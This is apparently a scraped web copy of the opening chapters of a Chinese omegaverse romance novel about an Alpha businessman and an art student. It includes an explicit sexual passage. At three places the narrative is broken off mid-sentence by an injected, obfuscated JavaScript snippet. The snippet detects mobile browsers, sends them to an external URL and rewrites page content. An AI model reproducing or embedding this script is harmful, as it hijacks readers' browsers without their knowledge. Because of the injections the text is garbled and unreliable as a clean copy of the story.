《双A,但生四个》 1. 第 1 章 第1章 谢铮抬眼。 他大学是在Y市念的,毕业后回J市创业,已经很多年都没回来过来了。 Y大前年换了校长,搬了校区,校内的一切都崭新且明亮,和以前相比可谓大变样。 早春的紫藤花攀在矮廊上开得柔美,远处嫩绿的叶在抽芽,配合上学生们吵吵嚷嚷的玩闹声—— 谢铮从裤袋里磕出一支烟,叼在嘴里,含糊不清的:“真他妈有精神。” 好友宋清远看他一眼:“……你别说脏话。” 又说:“也别抽烟。” 谢铮扯着嘴角笑,定制的昂贵打火机在指尖转了个圈,倒没去点烟。 谢铮眉眼刀削似的凌厉,似笑非笑的表情,很邪气也很戾气。 天气热,黑西装被他脱下来搭在手臂上,银灰的领带塞在黑衬衣口袋里,衬衣被胸肌撑得紧绷绷的,袖子挽起来露出一截虬结着青筋的麦色小臂。 他今年三十一,和大学的学生有十岁左右的年龄差,气质也截然不同。硬要说的话,像港片里后腰里面别一把枪随时可能掀桌子的黑老大。 学生们平时也没见过这么像黑/帮的人,估计都以为谢铮是来堵谁的,要么远远地绕开紫藤廊,绕不开的就低着头红着脸加快脚步,生怕被盯上。 谢铮知道别人怕自己,一个学生从旁边走过的时候他还故意吓唬人家:“怕我啊?” 近几年Omega的抑制颈环发明出来以后,基本上所有O就不打针了,改去带花花绿绿的颈环。 这个被谢铮吓的学生没带颈环,再看身高体型,应该就是Alpha。 谢铮也是A,一般来说Alpha之间不存在A对O那样的决对压制,但被谢铮搭话的学生脸都白了,汗立刻就下来了。 宋清远无语死了:“等下校警过来把我们一起轰出去你就开心了。” 谢铮笑:“还有多久到你家?” “穿过校园就是。你别忘了你答应我的,我走之后你得好好照顾我的花。” “知道。”谢铮说话要么吓人要么没正形:“我把它们当祖宗伺候。” 顿了顿,他又对宋清远补了一句:“谢了。” 三十一岁的年龄还单身的话,找对象,结婚,生孩子的事儿就被提上了日程。 谢铮爸妈观点还是很传统:“你不能一个人过一辈子啊。好歹有个伴儿,生病的时候能陪陪你。” 谢铮的嘴巴从来不饶人,就算是爸妈也得怼一怼:“我有钱,我可以找护工,让他们给我削苹果喂饭跳钢管舞。” 被爸妈当空气人冷战了三周。 但这事儿还没完,爸妈开始着手给谢铮相亲,男男女女的omega隔三差五就被邀请到家附近的咖啡店,含羞带怯地看着谢铮。 谢铮烦躁地把烟头按在咖啡杯里,觉得这样不行。 他知道二老怎么突然这么想让他结婚:和他们家交好的叔叔家的儿子一个月前结婚了,婚礼办得很轰动很热闹,两个人站在一起在司仪的指挥下接吻,看起来幸福又甜蜜。 儿媳很能干,两人搭配,儿子轻松不少,也有空经常回家了。 二老听着叔叔的炫耀,眼馋了。 谢铮反正不信婚后生活可以一直完美下去,鸡毛蒜皮柴米油盐哪能一直舒心。他现在就等着这对新婚夫妻闹点什么事,把自家父母发热的大脑浇灭。 但在那之前他不想再被催,又苦于出去住会被查消费记录。恰巧Y市任教的宋清远准备休假,要找人照顾他的花,提议让谢铮在他家里住着躲一躲,谢铮同意了。 宋清远摇头:“谢什么。我们都这么多年的朋友了,别客气。” 顿了顿,又很好奇:“真这么抗拒?真没想着找一个?” “咔哒”一声,打火机盖子开合,谢铮到底把嘴里的烟点上了。 他的脸被烟雾笼着,宋清远只能看清谢铮嘴角戏谑的笑:“别操心我了,操心操心自己。趁休假多跑几家医院,啊,先把你阳痿治好吧。” 宋清远无奈纠正:“…………是信息素基因感统失调。” 谢铮笑得很放肆。 电铃声在校园里响,应该是午休铃声。学生们带着朝气和食欲从教学楼里往外冲,每个人都很年轻。 宋清远是雕塑系的老师,系里学生少,但也给专业里其他班上课。 这会儿正赶上学美术的学生从教学楼里出来。 一群学生身上还有没干的颜料,见到宋清远后嘻嘻哈哈地说小宋老师好。 谢铮叼着烟想,美术专业的学生审美确实不错,有一个算一个,打扮都很漂亮。 宋清远面对学生的时候还是很有老师样子的:“下课了?快去吃饭吧。别跑别跳啊。” 学生们嗯嗯地答应着,绕过宋清远朝前走,这才看到紫藤廊底下的谢铮。 说笑的声音一下子停了,学生们挤在一起狗狗溜溜地离开。 等路过了谢铮后说笑的声音才又响起来。 谢铮裤袋里的手机震动起来,他拿出来一看,是自己助理之一打来的。 又有新一批学生去和宋清远打招呼,看样子一时半会说不完话,谢铮就把电话接了:“说。” 助理语速很快地给他汇报上午的工作。 按理说哪有助理会挑在午休时间给老板打电话汇报工作,但谢铮不一样,他不是那种让下属放手去干的领导,他就是喜欢事事都掐在自己手里,绝对掌控。 一阵很明亮清爽的风吹过去,细碎的紫藤花从头顶飘落,落了谢铮一头。 谢铮没觉得浪漫,“啧”了一声,肩膀夹着手机,双肘往后搭在栏杆上,皱着眉抬头看花。 助理说:“谢哥,就这些。” 谢铮看一眼宋清远,看他身边的学生已经散的差不多了,就对助理嗯了声:“挂了。” 正准备起身,谢铮听到宋清远抬高的声音:“小鹿!来。” 一道和刚刚的风一样明亮清爽的声音远远应道道:“宋老师!” 谢铮斜了斜眼睛。 有三个男学生本来正在道路对面走,听到宋清远招呼就过来了,三个人脖子上都没戴颈环,应该都是Alpha。 最中间的男生很显眼,个子高,穿一件亮黄色的外套、牛仔裤,皮肤很白,脸长得格外好看,笑容很阳光,眼睛很乖地弯起来。 男生步伐和身形都很轻,像灵巧的猫。 等黄外套男生靠近后,宋清远从包里摸出一把钥匙给他:“工作室的钥匙忘了给你了,我正想找人给你送过去呢,就遇到了。” “好。”男生收下,语气很让人喜欢:“老师你别忘了今天晚上咱师门聚餐哈。” “知道。” 宋清远又叮嘱了两句:“赶快去吃饭吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456877|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 男生答应了一声,继续朝前走。 他路过谢铮的时候,谢铮往外吐了口烟,抬手把满是齿痕的烟蒂取下来,把最后那点儿火星在栏杆上按灭了。 三个男生在经过他的时候不约而同地安静下来,黄外套男生似乎很快地看了他一眼,运动鞋在凸起的砖上磕了一下,猛地朝前踉跄。 男生跌倒的方向恰巧朝着谢铮,但谢铮一动没动地靠着身后的栏杆,根本没有要扶的意思。他吐一口烟,隔着白雾仰头看天。 还好男生右侧的人扶住他:“没事吧小鹿?” 男生像是挺开心,噗嗤一声笑出来:“嗯哈。” 把烟头丢到垃圾桶里,谢铮走到宋清远旁边:“你学生?” “嗯。路鹿,姓是道路的路,名字是梅花鹿的鹿。我之前和你说过我班上有个学生很有灵气,就是他。 谢铮想到刚才路鹿差点摔倒的那一下。 灵气?还没看出来。 倒是蠢兮兮的一大只。 一头蠢鹿。 - 宋清远没买房,为了方便上课,在学校后门不远处的小区租的房。 17层,宽阔干净,一进门花花草草郁郁葱葱。 谢铮靠着墙听好友讲这些花花草草的照顾方法。 花花草草的中间放着各种各样的雕塑,有石膏也有根雕纸雕,谢铮看着一个石膏像,宋清远告诉他:“这个就是小鹿做的。” 半人高的石膏像,雕刻的是盖着纱巾的男人,半透明的石膏纱巾看起来柔软极了,紧贴包裹在皮肤上,透出男人坚硬的五官。 谢铮问:“做得很好?” “特别灵。质感做的太好了。” 谢铮随意把手肘搭在石膏像头顶上,对宋老师赞不绝口的作品丝毫不感兴趣,他扯着嘴角懒洋洋地笑,衬衣底下的纹身露出来一截。 宋清远手机响了一下,他看了一眼就笑了,谢铮看好友笑得暧昧,问:“什么情况?对象?” 宋清远直接把手机贴谢铮面前了:“不是找我的,找你的。” [24环艺王楚楚:宋老师,今天你旁边那个穿黑西装的是谁呀?也是我们学校的老师?还是你朋友呀?] 谢铮身上那股邪气让人害怕,但也很勾人,总有人明知道危险,也像是飞蛾扑火一样往谢铮旁边扑。 但谢铮一个都不感兴趣,不论来者是谁都拒绝。 这次也一样,谢铮笑得很开怀,说出的话却毫不留情:“拿远点。” 宋清远收起手机,有点好奇:“你到底喜欢什么样的?” 谢铮道:“长得好看的。” 宋清远:“……之前追你的那个小明星还不够好看啊?天仙似的,也不见你喜欢。” 谢铮皱眉笑。 他没说谎,他就是喜欢长得好看的。但在他这里,“好看”的定义和别的Alpha都不太一样。 基因关系,分化以后的Omgea越长越柔,五官和水一样,谢铮偏偏喜欢硬朗点的,对谢铮来说,纤细的腰肢不如手背上凸起的青筋、清瘦的腕骨。 谢铮没有破坏欲,他有征服欲。 -- 谢铮日记 [十五年前] 高中入学第一天,在巷子里和人打了一架。 校服纽扣不知道丢到哪里去。 妈的。 2. 第 2 章 第2章 “小鹿,黏土送到了,就在楼下,我们俩现在下楼搬,速战速决。” 2号教学楼2301教室,也是24级雕塑系新生的工作室。 工作室乱七八糟地堆放着画板、石膏,阳光透过窗户,被切割成一小块一小块,落在少年柔顺的头发上、洁净白皙的面庞上。 路鹿坐在画板前,手里捏着一只碳笔,却没画画,头后靠在椅背上,望着天花板,表情放空。 “……小鹿?小鹿?鹿啊,路鹿?!” 路鹿头发微长,做事时就会用皮筋在脑后把头发扎个小小的尾巴,崔松柏叫不醒路鹿,只好伸手扯扯路鹿脑后的小尾巴:“想什么呢你?” 路鹿“啊”了一声,这才回神。 他借着仰头的姿势看正后面的崔松柏。 路鹿长相乖顺,绝不是那种有攻击性的长相,从小到大都格外招人喜欢,为他行了不少便利。他本人的性格也和长相相配,亲切讨喜。这会儿他还没说话,眼睛先弯弯地笑起来。 “我在想,今天晚上穿什么。” 崔松柏:“…………” 就这?就因为这种无聊的问题,才理都不理他? “别逼我在工作室打你,让本就因为找不到工作十分可悲的美术系变得更加悲伤。” 崔松柏黑着脸:“起来干活。” 路鹿噗嗤笑出声,乖乖站起身。 艺术楼的走廊里飘荡着颜料、纸张、墨水的味道。路鹿搬着沉重的快递箱跟在室友身后,依旧在思考刚刚的问题。 穿什么呢? 亮黄色会把他整个人衬得鲜亮亮的,活力十足,但身上这件袖口在吃饭的时候被人撞了一下,溅上了菜汤,不适合再穿去见人。 他倒是还有另外两件黄色的衣服,可都是短袖。现在四月,晚上的天气还是凉的,他又有些怕冷。 他衣服不多。仔细想了下,倒是还有一件蓝色的冲锋衣和粉色的外套可以选,可冲锋衣又有点厚,粉色太嫩,他今晚不想扮可爱。 穿什么呢? 晚上的聚餐,穿什么去见宋清远? 穿什么去见宋清远说不定会带来的谢铮呢? 路鹿听过很多次谢铮的名字。 初中的教导主任听说之前性格很差、总是体罚学生,可八年前被谢铮学长堵在家门口教训了以后就变成了这样唯唯诺诺的样子; 运动会上学校的一千米记录是谢铮学长留下的; 高中的教室,靠窗户的座位是谢铮学长的专属位置,有暗恋他的Omega学姐偷偷给他拍了张照片,从此后大家发现,这个座位每到下午两点钟采光好得出奇,拍照格外好看,一到下午下课,大家抢着来自拍; 大学的迎新会上,副校长说了几个在社会上已经成功的校友名字,其中就有谢铮学长; 班主任口里的“我大学时候的朋友”也是谢铮。 今天是路鹿第一次见到谢铮。 宋清远叫他过去交代事情的事情,身后的同学使坏在他头上揉了一把,额前的头发压下来。透过刘海,他那时只看清宋清远身后不远处有个穿黑西装的男人。还是崔松柏先认出的,他拉了一下路鹿,凑到他耳边:“我操——那是谢铮!” 谢铮。 十年前的学长像积满雷暴的乌云,落下的雨滴偶尔会溅在路鹿脸上两滴,路鹿不喜欢、不反感,从不在意。 但那偶尔会听到的名字突然变成了鲜灵灵的人,就站在距离他不到十五米的地方。这感觉很奇怪,像不那么真情实感的追星。 路鹿总是假装自己很开心,但这一刻是真的有些雀跃。 宋清远交代完了事情,路鹿和崔松柏,以及另一个约好了午饭的同学一起往前走,鹿路庆幸自己穿了那件最衬自己的外套,路过谢铮的时候,他没忍住飞快地看了一眼谢铮。 路鹿绊了一下,猛地踉跄,谢铮抬头望天,薄唇咧开一个像是嘲笑的弧度,吐出一口呛人的烟雾。 崔松柏赶紧扶住他。 有不少学生都在偷偷打量谢铮,崔松柏也是其中之一,走过去了老远还在垫着脚尖回头看谢铮。 崔松柏嘶了一声:“谢铮怎么长得比视频里还凶?” 另一个同学不认识谢铮:“谁啊?明星?” “不是明星。是个公司老总,脸长得好,总被拍下来发到网上。我看评论区和他对接过的都说他这人不好惹,像是混黑的,为人狠辣。” 狠辣? 路鹿脑海里回忆起谢铮把满是齿痕的烟蒂在栏杆上按灭的样子。 ……嗯,是很辣。 同学听得扬眉:“哦哦,那好吓人——小鹿怎么不说话了?” 路鹿越发雀跃,连蹦带跳地扑到同学后背上:“在想等下吃什么呢。” - “烤肉?”谢铮懒洋洋坐在沙发上,问宋清远:“方便么?带我一个。” “方便的。”宋清远蹲在一盆花前面,正拿着小剪刀修剪枝叶:“你可以给我学生讲讲你的创业史,鼓励他们一下。” 谢铮忍不住勾着嘴角笑。 他的创业史? 高价挖别人骨干,在对手公司安插眼线,逼其他公司和他签对赌协议,强行收购别人公司。这事儿不光彩,反正他要是宋清远,不会给自己学生听这个。 晚上六点,两人出发去那家烤肉店。 这顿饭说是师门聚餐,其实是宋清远的学生们给他送行用的。小宋老师突然决定休假,也没说具体的原因,只是说自己要去散散心,大伙儿都挺担心他的。 两人出发的很早,但到的时候学生们已经在了,包厢里一共九个人,五个男生四个女生,其中5个人脖子上戴着颈环,是Omega。 谢铮刚一进门,就有一个Omgea男生脸色开始发红,连打了好几个喷嚏。 “不好意思……阿嚏!有……很刺的味道……阿嚏!” 谢铮的信息素是烟草混合着胡椒的味道,浓郁辛辣。Omgea通常五感,尤其是嗅觉敏锐,就算谢铮没在易感期里,有的O还是能闻到。谢铮公司里有个前台就是一看到谢铮就要打喷嚏。 男生手忙脚乱地从包里拿出一粒药,就着水喝了,喷嚏才终于平复下来。 罪魁祸首谢铮没什么歉意,但还是问了男生一句:“没事吧小孩儿?” 男生有点怕谢铮,低着头使劲摇头。 宋清远关心了男生几句,又指着谢铮道:“这是我朋友,谢铮,厉害着呢。我不在的时候你们如果遇到麻烦也可以找他帮帮忙。” 他承宋清远的情住进了他家,帮忙带一下孩子也是应该。谢铮“嗯”了声:“不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456878|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我平时很忙,遇到大麻烦再找我。” 有人说:“好的,谢哥。” 说话的人声线明亮,谢铮抬眼看过去,就看到了好友的那个得意门生。 叫什么来着? 蠢鹿……哦对,路鹿。 男生这会儿没穿那件很亮眼的黄色外套,套了一件浅灰色、蓝条纹的工装外套,斜挎着一个小包,浅色的头发在脑后抓成一个尾巴,应该算是很会打扮的类型。 这会儿谢铮倒是把路鹿的长相看清了,乖巧无害的脸,却和Omega的那种柔不同,是谢铮喜欢的长相。 刚刚那个Omega打喷嚏的时候就是他在旁边递水,这会儿也是他第一个出声喊人,就算很多人身在职场也不见得有这样机灵,倒是很会做事。 但谢铮不想吃他这一套:“别叫哥了,我大你们这么多,还是叫叔叔吧。” 打架很厉害的谢铮,跑步很快的谢铮,别人口中凶巴巴的谢铮,在宋老师口中很有义气的谢铮。一个个碎片一样的形象汇聚在一起,最终汇聚成了路鹿眼前这个男人。 路鹿扯了下自己崭新的衣服下摆,伸出手,把自己介绍给谢铮认识:“谢叔叔你好,我是路鹿。” 谢铮低头扫一眼男生的手,伸手握了一下。 其他学生也纷纷效仿路鹿做自我介绍,谢铮也和他们都握了个手,但是一个人的名字都没记住。 谢铮对食物不讲究,对宋清远赞不绝口的烤肉没什么感觉。吃饭吃到一半,学生们打开了话匣子,缠着宋清远问他这次休假到底要去哪里。 宋清远道:“我先回一趟老家。” 谢铮接到助理的电话,问他现在的住址,要给他采买一些常用品送来。谢铮接着电话往外走,手在宋清远肩膀上按了一下。 挂断电话后谢铮也没着急回去,站在门口抽了两根烟。 他烟瘾很重,性/欲其实也是。但后者一直无法得到满足,就只能通过前者来纾解。 再回去的时候,话题已经从宋清远身上绕开了。一个男生叹着气诉说自己最近的烦恼:“他要我们在一周内把所有的猫狗都送走。” 谢铮听了一会,才明白怎么回事。 这个男生是学校动物保护社团的成员,救助学校里的猫猫狗狗。 有校董的儿子逗狗却被狗咬了一口,逼迫他们在一周之内把校园里的动物都送走,否则—— 否则后面的话没说,但藏着满满的威胁味道。社团里目前只有二十多个人,大多是大一新生,遇到这样的情况,又害怕又烦恼。 “宋老师,”学生扁着嘴巴求助宋清远:“我们到底该怎么办啊?” 宋清远还没开口,谢铮却笑了。 他身体往后靠,单手把自己领口的扣子解开两颗:“这事儿求助你们宋老师没用,你们宋老师也是人在屋檐下。” 一桌的人往谢铮这里看过去。 “叔叔教你们。”谢铮笑得很坏:“用小号发几个帖子,就说校董的儿子可能有虐动物倾向,学校为了恭维他,非要把校园里的动物赶尽杀绝。” 学生们还没见过这样的手段,愣愣着,面面相觑。 宋清远:“…………” 他额头青筋乱跳:“谢铮你别教坏我学生!” 谢铮笑出声。余光扫过路鹿,男生眼睛亮晶晶的。 3. 第 3 章 第3章 谢铮难得好心,宋清远却死活拦住他不让他继续说。 谢铮扬了扬眉,没再说话,只是在学生们愣愣的表情里坏笑着一口喝干杯子里的啤酒。 宋清远在吃药喝不了酒,倒是有另外两个学生点了果啤。 路鹿点的是苹果汁,但没怎么喝,他忙着把烤好的肉分给大家,就连谢铮盘子里的肉也有好几块是路鹿分过来的。 快吃完的时候学生们也不太怕谢铮了,打开了话匣子聊天,从系里谁易感期的时候忘带抑制剂差点闹出事,再到谁异地恋被骗心又骗钱。 大家最感兴趣的还是别人的感情八卦。 有个女生用手肘捅一下旁边的人:“崔松柏,你网恋的那个人怎么样了?有什么进度?” 崔松柏推推鼻梁上的眼镜,心如止水的表情:“吹了。他就是个骗子。” “怎么说?” “声音是变声器伪装的,出生年月是ps伪造的。”崔松柏说着往路鹿身上扑:“小鹿你和我一起单身一辈子吧,再也不吃爱情的苦。” 路鹿捧着苹果汁笑眯眯的,没回答崔松柏,反而看向谢铮:“谢叔叔呢?我看到网上有很多人都好奇谢叔叔的感情状况。” 谢铮意味深长地问:“你们觉得呢?” 学生们的目光就朝他看过来。 谢铮的西装外套早就脱了,扔在后面的椅子上,出门的时候也没系领带,这会儿就只穿着领口开了两颗扣子的衬衫,麦色皮肤在烤肉店昏黄灯光的照射下变成甜蜜的色彩。 他左手端着酒杯,右手手肘搭在椅背上,领口因此被拽得更开,露出一点下面的青黑色纹身;长腿交叠在一起,似笑非笑的表情。 ——谢铮一定有过很多情人。 学生们脑海里不约而同地冒出了这样一个念头。 - 第二天谢铮起床的时候已经是中午。 手机铃声大作,是谢铮的堂弟谢里。 谢铮接起来,懒洋洋地“喂”了一声,嗓音还没醒,带着沙沙的睡意。 对面的年轻男人咬牙切齿:“谢铮!你到底去哪里了?姑姑姑父一大早来我家要人,还以为是我爸把你藏起来了。” 谢铮父母是出了名的难搞定,谢铮几乎想到自己这个堂弟一大早经受了怎么样的摧残。 谢铮毫无同情心地笑起来。 “你还笑?”谢里听起来像是要被气晕过去了:“你到底在哪里呢?” “我告诉你,然后你告诉我爸妈对吧?谢里,我不记得我们什么时候关系这么亲近了。” 电话对面突然沉默下来。 接着“咔哒”一声,谢里挂断了通话。 不像谢铮是白手起家,谢里继承了父亲的公司。但两人现在都是做智能硬件方向,虽然谈不上希望对方倒闭,但也都希望能给对方添点麻烦。 谢铮嗤笑一声,翻身起床。 宋清远已经去学校了,但是给谢铮留了饭,餐桌上放着蒸饺的外卖袋。 谢铮随便吃了两口,起身去洗澡。 脱光衣服,谢铮从镜子里打量了一下自己。 他常年健身,身材堪称完美,线条修长肌肉流畅,宽阔的肩膀、狭窄的腰。 锁骨下方纹着一条蜿蜒的毒蛇,右手臂一直蔓延到肩胛骨的位置纹了一只狗的骨骼。 身下那个东西很精神,谢铮钻到淋浴房里,先洗了个头,再借着泡沫的润滑握住自己。 谢铮低喘着撑住玻璃墙,淋浴房的玻璃门似乎有些关不拢,随着谢铮的动作发出“咔咔”的声响。 谢铮的手指在满是水蒸气的玻璃墙上带出一道道抓痕,水汽中胡椒与烟熏的味道越来越浓郁。关键时刻,谢铮脑海里突然闯入一张脸。 柔软的头发,翘起的眼尾,白皙的皮肤。 妈的,操。 谢铮劲瘦的腰猛地往下一弓,浴室里满是他凌乱的呼吸声。 神清气爽地从浴室出来,谢铮头发还湿着,领口大开地叼了根烟和管理层视频开会。 等到会议结束的时候,二助提醒他:“谢哥,今晚行程是和金象的胡总几人见面。” “没忘。”谢铮把额前碎刘海抹到脑后。他来这儿也不全是为了躲清闲,他正好想要借着这个机会打开Y市市场。 胡奇志今年五十出头,人不正经,最喜欢热闹、喜欢年轻漂亮的小o。谢铮投其所好,把见面地点定在有热舞表演的Club。 之前的一些留在Y市的兄弟给谢铮准备了一个接风宴,谢铮和他们玩闹了一阵,看着时间差不多了,就出发朝“壹杯”赶。 他的几辆车都留在J市,在谢父谢母的监视下偷偷开出来不容易,今晚只能先在软件上叫车。 半个多小时的车程,一路上畅通无阻。谢铮是来的最早的,他点了杯威士忌,坐在预定好的卡座上简单看了一下环境。 这里年轻人很多,大多是A,也有少量打扮得大胆的omega,空气里浮动着外溢的信息素混合在一起后的味道。 谢铮抿着酒,看着舞台上的omega轻柔地跳舞,突然肩膀被人拍了一下。 他回头,是两个年轻漂亮的男孩,脖子上戴着闪闪发光的颈环:“哥哥,一起喝杯酒?” 谢铮笑着把两人从头打量到脚。 他的眼神带着烫人的温度,好像能把别人的皮肤灼伤,直到两个男孩都不自在,谢铮这才收回目光。 “我约了别人。” “那,加个微信?” 谢铮手机在修长的手指里转了一圈,邪气地勾着嘴角,说出的话拒绝的意思却很明显:“我不随便加人。” 两个男孩互相看看,也没说什么就走了。 但并没有失落,能和谢铮这么帅的人说几句话,就算被拒绝了也挺开心的。 胡奇志就是这个时候来的,他人到中年,身材倒是保养得还好,和他一起来的另外三个人就比较不修边幅了,大腹便便,刚刚还围在谢铮周围蠢蠢欲动的人们就像是被潮水推了一下似的,悄然变远了许多。 陪这种老板谈生意其实很简单,无非就是“酒”、“色”、“权”三个话题,只要陪几人喝爽了,聊爽了,也就差不多能变成称兄道弟的关系了。 喝酒对谢铮来说不是难事。他刚创业那会儿真的是往死里陪酒,现在别人至少还能看在他是“星刃谢铮”的面子上少灌他两杯。 半夜2:09分的时候,几个老板喝开心了,看跳舞也看开心了,醉醺醺地坐上了回家的车。 胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456879|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇志搂着一个身材娇小的omega,伸手在谢铮肩膀上使劲拍了拍:“让你的助理和我的助理联系,记得啊!” 等几人都走了,谢铮靠在椅子喘口气,再把领口扣子往下解了一颗。 他喝了不少,虽然脑袋里是清醒的,但四肢已经开始有点不听使唤。 他打开软件打车,软件提示他夜间车少,需要等待至少十分钟。 谢铮把手机扔在桌面上,从烟盒里嗑出一根烟叼在嘴里。 拇指拨开打火机盖子,火苗凑到眼前两次,却都没对准烟。 谢铮“操”了声,正准备进行第三次尝试,一只手接过他手上的打火机,将火苗对准烟。 谢铮借着那只手深吸了一口,缓缓吐出一口白雾,终于眯着眼满足了。 烟嘴在牙齿里转了一圈,谢铮才抬眼去看帮自己点烟的人,却看见了一张熟面孔。谢铮有些意外地扬了扬眉:“你?” 少年笑眯眯地弯着眼睛:“谢叔叔。” 男生不是来玩的,他穿着和club里其他服务生一样的西式制服,黑色的马甲白色的衬衫,脖子上戴一个小巧的领结,胸前别着一个铁质的名牌,上面两个激光打印的字:路鹿。 谢铮伸手,掌心向上,路鹿把打火机放回到谢铮手里。 动作间路鹿看到谢铮放在桌上的手机,叫车软件正一圈圈地转着动画。路鹿眼睛眨了眨:“谢叔叔,这个点很不好打车的,我送你回去吧。” “你有车?” “我同事有,我可以问他借。” 谢铮撩起眼皮看了路鹿一眼。昨天晚上跟宋清远吃完饭,有两个学生喝得多了一点,晕乎乎得走路,也是路鹿在旁边照顾。 细心,机灵,讨喜。 但还是很蠢。 这样的性格也就是在大学里,如果到社会上,如果遇到他这样的人,恐怕会被吃的骨头都不剩下。 有些时候善良只能成为别人欺压你的工具。 路鹿还在微微弯着腰等他的回答,谢铮:“行。” 路鹿便道:“那谢叔叔等我一下。”说着转过身,步伐很轻快地朝吧台走。 谢铮看到路鹿整个人趴在吧台上,一手撑着腮,和一个戴帽子的调酒师讲话。尽管路鹿留给他的是背影,但谢铮还是能想象到他笑眯眯的表情和语气,应该没有人会拒绝这样一个少年。 果然路鹿再回来的时候,手上多了一串钥匙。钥匙圈在路鹿手上转了两圈:“走吧,谢叔叔。” 车是最普通的小甲壳虫,顶棚矮,座位空间很小,谢铮的腿有点放不下。 路鹿看出来,系好安全带之后探手帮谢铮调整了一下座位,又抬高手臂去拉谢铮这边的安全带。 毛茸茸的头顶就在谢铮眼前,谢铮闻到了一股很干净的柑橘类味道。 谢铮伸手在路鹿肩膀上推了一下:“我还没醉到安全带都系不上。” 路鹿立刻坐正身体。 他变戏法一样从身后拿出一瓶冰水递给谢铮,发动了车子。 谢铮抿了一口冰水,突然问路鹿:“柚子?” 路鹿弯着眼睛:“嗯哈。” - 路鹿微博 [发布于2小时前] @Deer:^^ 4. 第 4 章 第4章 路鹿车开得平稳,谢铮拿出手机想回复一下总管发来的关于新项目的留言,但手指不听使唤,键盘上跳出来的都是错别字。 谢铮不耐烦了,顺手把手机往前一扔。 手机落在仪表台上,啪嗒一声砸在什么东西上。 谢铮看过去,发现是一联排的alpha用抑制剂。 alpha用抑制剂种类也很多,有贴片也有口服药物。车主人的抑制剂是针筒注射器。 现在绝大多数alpha已经不会选择注射器,因为扎进去的时候实在是太疼了,除非有经济压力,或者是紧急情况。 但谢铮用的一直是这种针管。一是效果最好,二是他其实很喜欢疼痛的感觉。 很带劲儿。 谢铮的目光从抑制剂上移到路鹿脸上。 路灯光线微微照亮男生的面容。 路鹿完全就是谢铮喜欢的长相,端正清致,带着恰到好处的硬挺,一点都不柔。 要说唯一不好的,就是看着太纯了。谢铮想象不出路鹿这种人竟然也会像别的alpha一样有易感期。 谢铮易感期的时候瘾很大,就算打了针,整个人还是很燥,牙痒的厉害,有时候一觉睡醒胳膊上都是他自己咬的齿痕。 谢铮也见过别的alpha易感期的样子,就算已经有标记的伴侣,也大多是和他一样,眼角眉梢都透露出一股欲求不满的样子。 谢铮盯着路鹿的脸,很坏心眼地幻想了一下路鹿易感期的样子。 紧接着一股火蹭地一下就烧起来了。 小小的甲壳虫里渐渐弥漫起了胡椒烟草的味道。 按课本上说的,alpha对alpha散发信息素并不是什么礼貌的行为,甚至带有示威的意味。但现实生活中谁都有管不住自己的时候,就像刚刚谢铮也闻到了路鹿不小心露出来的柚子味。 西装裤箍得谢铮生疼,谢铮也没想到自己反应竟然这么强烈。他咬牙笑骂了一句:“操。” 路鹿回头看了谢铮一眼:“谢叔……” 他一说话,谢铮只觉得自己更疼了。酒意让谢铮有些难以控制自己,他忍着顶腰的冲动,语气里竟然还带着坏笑:“你别说话。” 路鹿估计没发现谢铮在脑海里拿他幻想了什么,还以为谢铮是尴尬了,把车窗户打开了一条小缝,夜风灌进来,车厢里味道总算淡了一些。 路鹿对此并没有说什么,安静地开着车。不像那个时候,谢铮父母发现他分化成alpha之后,竟然对别的alpha有反应,大惊失色的表情。 谢铮回去的时候,宋清远正在卧室睡觉。 谢铮觉得隔着一面墙在好友旁边做手工活很萎,洗了个冷水澡,又趴在阳台上抽了两根烟后总算冷静下来不少,这才躺回到沙发上。 第二天是被宋清远发出的声音吵醒的。 阳痿的alpha早晨起来无事可做,在厨房折腾早餐。 看谢铮醒了,宋清远道:“终于买到票了。” 宋清远的老家很偏,回去的班次很少,还要坐船。 谢铮问:“哪天走?” “明天。”宋清远小心翼翼地把煎好的鸡蛋挪到面包片上:“我等下去学校拿点东西。” 谢铮懒洋洋的:“用帮忙吗?” “不用,我还记着你上次调戏学生的事。我真怕你被校警赶出去。” 谢铮:“……” 话虽这么说,谢铮还是跟着宋清远去了学校。 他和胡奇志等人约好了今天第二次见面,没车实在太不方便了,宋清远主动提出要把车借给谢铮,要他跟着自己去学校取车。 谢铮先陪宋清远去取了画板和其他一些画画、做雕塑用的东西,再去停车场开车。 明明是大早上,路过篮球场的时候还是有不少学生正在打球,乱哄哄的。 宋清远很怀念的语气:“我们想起来大学的时候也总打球。” 谢铮没忍住嘲讽地嗤了一声:“用手拍球不叫打球。” 